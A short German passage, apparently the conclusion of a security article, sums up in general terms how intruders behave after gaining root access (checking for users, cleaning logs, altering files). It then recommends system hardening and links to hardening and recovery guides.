Wir haben hier von Anfang bis Ende gesehen, wie sich ein Eindringling benehmen könnte, sobald sie erst mal root sind. Sie fangen oft damit an, zu prüfen ob irgendjemand auf dem System ist. Wenn sie erst mal wissen, daß sie allein sind, verwischen sie ihre Spuren, indem sie Logfiles säubern und wichtige Dateien verändern bzw. modifizieren. Wenn sie erst mal sicher versteckt sind starten sie neue und schädlichere Aktivitäten. Um sich besser gegen diese Bedrohung zu schützen, empfehle ich seine Systeme zu sichern (panzern). Grundlegender Schutz reicht für die meisten Script Kiddies da sie nach dem leichten Opfer suchen. Eine Vorstellung davon, wie

man sein System sichert (panzert), bekommt man bei
http://www.enteract.com/~lspitz/linux.html bzw.
http://www.enteract.com/~lspitz/solaris.html. Wenn es zu spät ist und Dein System schon kompromittiert wurde, kann man hier nachlesen
http://www.cert.org/nav/recovering.html